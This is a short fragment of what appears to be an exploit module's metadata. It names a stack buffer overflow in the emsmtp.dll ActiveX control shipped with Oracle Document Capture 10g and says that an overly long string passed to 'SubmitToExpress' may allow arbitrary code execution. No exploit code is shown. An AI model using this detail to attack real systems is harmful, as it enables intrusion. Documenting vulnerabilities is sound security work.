'Name' => 'Oracle Document Capture 10g ActiveX Control Buffer Overflow',

This module exploits a stack buffer overflow in Oracle Document Capture 10g (10.1.3.5.0).
Oracle Document Capture 10g comes bundled with a third party ActiveX control
emsmtp.dll (6.0.1.0). When passing a overly long string to the method "SubmitToExpress"
an attacker may be able to execute arbitrary code.
